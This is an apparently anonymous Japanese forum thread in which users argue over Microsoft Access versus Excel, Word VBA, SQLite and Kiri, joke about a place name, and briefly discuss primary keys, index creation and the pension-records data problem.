でもAccessはわからない。俺は天才なのにわからないとはAccessが悪い。

いい加減、Excelマンセーは巣に戻れ。

　CSVや固定長テキストファイルだって、別ファイルにインデックスを作成すれば
高速で検索できるというこのご時世に。

>>819
このご時世にって・・・・・
そんなことはずーーーーーーと前から出来ると思うけど？
でなにが言いたいの？

WordのVBAでどんなアプリも作りこみしてやんよ

>>819
じゃあ、そのインデックスを使って
名前に宮崎が入っているデータを抽出する方法をおしえてくれ。
住所に宮崎が入っているデータもあるけど、誤爆するなよｗ

性別に宮崎が入っているデータを一瞬で抽出できるぞ

Excelで１００万件処理できるって豪語するやつが消えたと思ったら、
こんどはWordでどんなアプリも作れるってか？
適材適所という言葉を知らないにもほどがある。
まあ、じゃあWordで人工知能のプログラムでも書いてもらおうか（ｗ

じゃあAccessで人工知能書いて

>>825
accessでなんでも書けるなんて誰が言った？
accessでできることには限界があるって誰もが認めているのだけど？

dbのｽﾚで人工知能のロジックを語る愚

>>821
Word VBAでインデックス型の検索エンジン作ってくれ。いやまぢで

>>827
それを言うならAccessのスレでWordやExcelを語るお馬鹿さんたちと言うべきだろう？

Accessそのものがデータベースとしてくそなわけだが、
Excelなんかさらにデータベースの足元にも及びません。

ごっちゃにして考えるやつ、アフォすぎ。

SQLite >>>>>>越えられない壁>>>>>>> Acess >超えられない時空>Excel

5000万件の年金記録照合プログラムをAccseeで作ってみようぜ。

きっと、こういう馬鹿が年金記録を抹消したんだろうなあ？

>>833
抹消はされてないでしょ。
どこの誰か分からなくなったデータがあるだけで。

あれは「個人を識別できる主キーが無いと大変なことになるよ」
という例ではないかと。

フリガナや性別など元データにない情報を現場の判断で適当に入力して
しかもそれで齟齬が生じて、一人の個人のデータとして呼び出せないって
どこまでタコな設計かと。

年金手帳番号なんて個人でいくつも持っていたりする上に普通覚えてないし。

色々問題はあるけど、やはり国民総背番号制にするしか…

>>834
設計ってより運用の問題じゃね？

そして、国民総背番号に入力ミスが多発と

>>836
それって運用の問題じゃね？

入力ミスを防ぐ設計をしなきゃどうしょうもない。

インタフェースも運用方法もデータ構造もすべてがだめだったとｗ

Ａｃｃｅｓｓが少しわかった位で小山の大将かよ、おまえら

ヘドが出る　（ ﾟдﾟ）、ﾍﾟｯ 　3流PG未満めが

>>840
>小山の大将

また、そんな誰も知らないような土地を持ち出さんでもｗ

逆に考えるんだ。
3流PG未満のレベルでなんか凄いと勘違いされ
それなりの待遇を得ているとしたらそれはそれで勝ちだと思うぞ。

SASとか導入してAccess以下の使い方しか出来ねー奴らの方がヘドが出るな俺は。

>>841
http://www.city.oyama.tochigi.jp/Cgi-bin/odb-get.exe?WIT_template=AM040000
栃木県か？知らないなあ？(w

>>841
コーヒー吹いた

http://r.tabelog.com/tochigi/rstdtl/9002167/
小山市の居酒屋大将。
イヤアーーー、実にマイナーですな(w
わらかしてくれた >>841 に拍手。

>>845
よくそんなﾓﾝ探してきたなwww

小山遊園地お前ら知らないのかよ・・・

>>847
知らないなあ？旭山動物園なら知っているけどなあ？

>>847
金造…？

>>849

金造は比較的最近。
頻繁にCMやっていたのは、30年以上前ではなかろうか。

って、なぜ知っている俺!?

ジジイだからだろ

なるほどAccessのスレにAccessの悪口を書いているのは餓鬼だからか？
ならしょうがない。勘弁してヤッカ？
さて、だんだんなんのスレだかわからなくなったなあ（ｗ

あくせくするスレだろ？ｗ

アクセスXPを使ってます
SQLサーバからデータをインポートしたんだけど
主キーの情報は引き継がれないんでしょうか

新製品か？

>>854
主キーなんて別にいくらでも設定しなおせば良さそうなものだけど、
ダメなのか？

OfficeXPに入ってるAccess2003のことだと思うけどインポート直後は主キーなしテーブルだから
自分はVBAでキー作成してる

>>857
ぱくらせろ

テーブルにキーも張れねえのか　チンカスだな

机に鍵なんかつけてどうするんだ？
馬鹿かおまえ。

>>858
CreateIndexくらい自分で調べたほうが良いんじゃない？
なんでもパクっていると実力身につかないよ。

OfficeXPにはAccess2003が入っているのか。�d

>>861
だからここで調べている。

OpenOffice.orgのBase使ってみて、初めてAccessの有難さを痛感する
今日このごろ。。。

>>863
調べてるとはいわない。他人依存症。

>>864
あれは試作品以下だからなあ？

桐のユーザです
桐ってテーブル1つでもファイル単位なのです
1レポートでも1ファイルです。そのため何百ファイル数になります
とろい要因でダサイと思っていました
でもこのスレを見てかえって合理的なのかな と思いました
アクセスでも結局、分割したりするのですね

それに、参照モードで開けば絶対壊れないし
(アクセスにも参照モードといったのがあるかは知りません)
100万レコードでも参照モードなら楽勝だし

アクセスに乗り換えようと思って色々情報を探しここにきました
結局アクセスもスタンドアロン系なのだと認識しました
MSに振り回されない分ましのように思えました

ユニコードにも対応しないし、最大サイズは512MBだし
dll使えないし　しょぼい桐だと思っていたのですが
ちょっと認識が変わりました
事務処理にはアクセスよりよかったんじゃないかと思えました

スレ違いでしたらすいません

>>867
100万レコードなら、参照モードだろうがなんだろうが512mbオーバーする可能性高いと思うんだが。
それとも、分割して断片的に取り込んだり出来るの？

>>867
まぁ、ACCESSは論理集合単位(テーブル単位)で
ファイル分割出来るってだけで、
勝手にファイル分割されちゃう訳じゃない罠。

桐もACCESSも適材適所。
桐で出来るなら桐で行く方が
無理にACCESSに移行するより
幸せになれると思われ。

>>867
俺ももと桐ユーザーだけど、確かに桐で済ませられるのなら桐でいいと思うよ。
個人で使うのなら桐最高ってのはわかる。
ただ、桐って閉じた世界なんだよなあ？桐のテクニックは桐でしか使えない。
AccessのようにSQLを覚える役には立たない。
桐の一括処理を学んでも他の言語の習得にはなんの役にも立たない。
参照モード、訂正モード、追加モードの考え方も慣れると非常に良いけど、
あまり一般的ではない。viがそれに近いくらい。
個人が使うツールとしては最高だけど、開発ツールとしては向いてない。
逆にAccessはツールとしては使いづらいけど、開発ツールとしてはそこそこいける。

桐の話もこういう生産的な話ならいいのだけどねえ。